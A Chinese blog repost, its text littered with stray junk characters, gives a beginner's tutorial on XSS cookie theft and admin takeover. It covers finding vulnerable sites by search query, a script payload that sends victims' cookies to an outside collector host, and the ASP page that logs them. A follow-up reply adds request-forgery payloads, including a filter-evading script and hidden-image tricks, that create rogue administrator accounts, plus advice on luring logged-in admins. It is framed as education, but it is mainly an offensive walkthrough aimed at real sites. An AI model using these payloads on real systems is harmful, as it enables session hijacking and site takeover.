前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为: . p; n" X2 U1 _; K6 E' s
' f% x; k7 `" ~9 T& ghttp://tieba.baidu.com/f?kz=1069007239 d9 _# B3 B- q0 Y1 _, {
& f, h0 r; _* b0 G* d9 J这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。3 ]5 e& V. ?2 ^# K# u
( G& ~9 v8 S6 f5 U4 d* E
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。: [+ H! P3 i1 i
8 i1 ?3 P3 N/ k5 j2 @我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
2 b1 k$ r6 x( s; l S+ O2 K1 K+ h
! @$ K% {- A# v这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
" d' q* ~8 o5 q0 P5 T9 D8 G7 B/ o4 E8 m8 \, t: g
好了,废话不多说了,一起来看文章吧。
1 e6 o( ~0 Q3 ~# R3 Q. I2 x2 w; n% J; L! E5 ]; t! P
-------------------------------------------------------------------5 ?6 Q8 F$ o @/ |- A# I) m
) p( e" g" n; x6 R1 q
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。
# t0 H) ?2 O& H0 q! h$ E
+ H/ i5 z" C Q; ` 2 j; d" i8 N- y/ v* M4 B
. v" ? P! p! o: i再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:8 s& M1 B# z) H( ~. C+ e7 T
/ n2 b. s6 v+ O: N: X
c% F: ^4 l) S* M- d/ x' H4 s# w% y( i0 I3 P. E
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是
, K2 c" t" J, d! S0 w% \* ~1:让目标访问已跨站的网址,然后这个网址执行脚本- h; e, q4 O0 B. v+ f
2:然后跳转到你已经写好专门用来收集Cookie的网址
& \$ k6 [; H* W
, @8 `/ l& C& d* a# I% U" T k具体实现方法:, @' X' h. F7 O3 |
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>7 c. G$ |1 D. V& G" J0 W
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。
3 F0 C6 I' a# h" I( Q! d% D. G+ r+ V; P& `/ L+ b7 ]9 e% g( G
这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:- |/ E% d9 g2 H; |
/ H4 Q" h. R8 |9 ^5 P6 x
<html># q4 q3 L( W* s
<title>xx</title>
( q* X3 ?+ ]$ b. h+ Q; ~<body>
! G. t% v& O0 e<%) d \! Z+ a( d- b& P$ @
testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中6 L" z, L* G, x. G' R5 g; t
msg = Request("msg") //获取提交过来的msg变量,也就是cookie值
6 B& G8 s- b! R& Iset fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
% i7 F4 a9 q' w; @set thisfile = fs.OpenTextFile(testfile,8,True,0)
6 b' v8 F y. V" t+ x4 ethisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
) L6 `/ p7 H% u7 L+ @# c' Kthisfile.close //关闭
* U6 b: r9 G8 t5 y: d& Dset fs = nothing! H4 c) ]# V) h6 f
%>. t. t* u' p( e/ m+ D0 a- S
</body>; Z. t1 Y8 X5 N7 _3 W7 Z2 P# v
</html>* z/ A5 A8 |' n/ s9 T5 u) s/ F) E
+ [: y1 R6 ]4 Q
然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
. Q9 z' U( [: V5 H- B; a0 v- X; ]$ o
4 _# d0 f9 {6 H# x
' D- S: u9 y7 Q, z" T8 g" D + H( i+ X8 f8 _, z8 z6 ^( ?
% m, r2 _, R& t! K i P拿出来看看,呵呵,Cookie到手:5 Z( b0 `5 R- G/ S. h
9 [/ @" C# q b# K. n2 ]3 E
- \ m/ u9 |4 ~9 w. k8 @3 ?0 s( b& ^* p) r+ N) D; d
本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~3 C) p. R7 t! a8 \
4 I4 y5 f1 y2 F9 Q# [2 X6 r- J
PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。
# `7 b5 u$ Q0 ?9 l1 j6 s3 s; i% }1 K b( a+ u2 R& j1 P: p
-------------------------------------------------------------------9 o+ s+ a' P! M3 D1 o- C9 V! Z5 ~
1 {& K6 H) C) \ \
下面是我对这个帖子的回复,也一起贴过来吧:
( `% C% D; ]% s; O6 q0 Z* h, i/ M: M* M" [1 f1 A" i3 o
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。6 f; ]7 C4 e$ u6 ~% g( ?- K2 R
2 o/ l, ]. N( }% i. |( T
但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。; C# j4 W' o/ b' e
再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
* M6 g7 \ ^4 C+ j6 q
; V% f ?! |: z/ E在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:9 t# R9 \9 n# E1 b9 k& [9 T
! l: t& B, W( {) x- Ihttp://user.qzone.qq.com/673116767/blog/1252452536
" ] J. ~8 f/ U8 @. R/ m# x8 k' @+ Y
5 e/ H* j; O h; O- g, u- R5 i8 X一般发现一个xss漏洞后要做的基本上就是这些:+ G! r: M3 |8 n& } ~& T
% R) W, Y" ~1 a" f5 V( [1. 伪造请求 使用$_REQUEST或$_GET1 {* _5 ~+ r$ o( ]$ H5 W6 ~
8 X7 B; k: Z3 r' t9 g
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:( K; m+ d/ c4 h' g. I1 T. s
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
/ i a6 ?) a d4 j6 w& R9 k* l/ u# m( C当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。
y1 W! {: Z* @ h1 g
% p9 ?1 P, v4 }/ e如果是可视文本编辑器,可以尝试使用输入:1 b- j4 B& g. N3 X1 O- R4 s
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')9 b. t2 W8 l6 i. J& @# C
这样最终会构造出:3 {- [( ?+ L% V" x7 ~7 m6 `1 F
<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
2 J( W1 M; m8 r! E# {6 l+ R总之要举一反三。
5 s+ i1 d" L$ q: R' w' }9 V& v8 s5 B5 M$ E
2. 伪造请求 使用$_POST
2 X; C y4 p6 C4 N8 [3 n) \
* u7 T& `: p/ m; ]当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:. P* F( L# Q8 f% v0 b
<sc/*xss*/ript type="text/javascript">
( b/ x0 H# W- u* b1 ^var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");# T+ E& {. \+ ~7 U+ e9 G' v8 J
aj.open("POST", "/admin/admin_add.asp", false);
+ Z2 `( q, ^. e. Vvar postdata = 'name=xxx&psd=yyy';
6 K) B. X. |1 y- z1 U" ?8 Baj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
s: [* l" O9 c/ z& c7 M- yaj.send(postdata);; V. d6 ]; \2 Z, K# x
</scr/*xss*/ipt>2 \6 Q7 f2 e; ~% \2 R; @
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。
! a/ z" _: O, P; f! e5 M
! `3 t, U, X; y8 T# _" |$ v+ q# J8 W3. 跨站伪造请求 使用$_GET 或 $_REQUEST, o8 e& z3 ]! K v) Y
0 U7 E% x& h# d与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片) a, z) \- v1 d* K' v
<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>& U) _6 ^; @( U: s3 f
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
8 T+ Y0 u1 [% t
: R5 v4 H1 K, a* f* ], X; P$ [4.跨站伪造请求 使用$_POST(0day). |8 W" V$ i! L" j, P# a
7 z' }' B* D# \' D4 V1 l: ?2 }如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。# ?4 e" ^" G8 f( [3 u ?
+ C3 [+ n/ g- W! d8 `$ F/ r# q% y6 P
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。5 d) ?4 x3 B6 J+ H8 r5 @8 x; F, b
5 ^& q* }" B/ Q7 A4 X总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
1 J( T( i, U& D7 @- v/ E$ c% U" }% g
OK,该说的都说完了,Over。4 `( ~% A* y- G; v. E* \% d' ]
|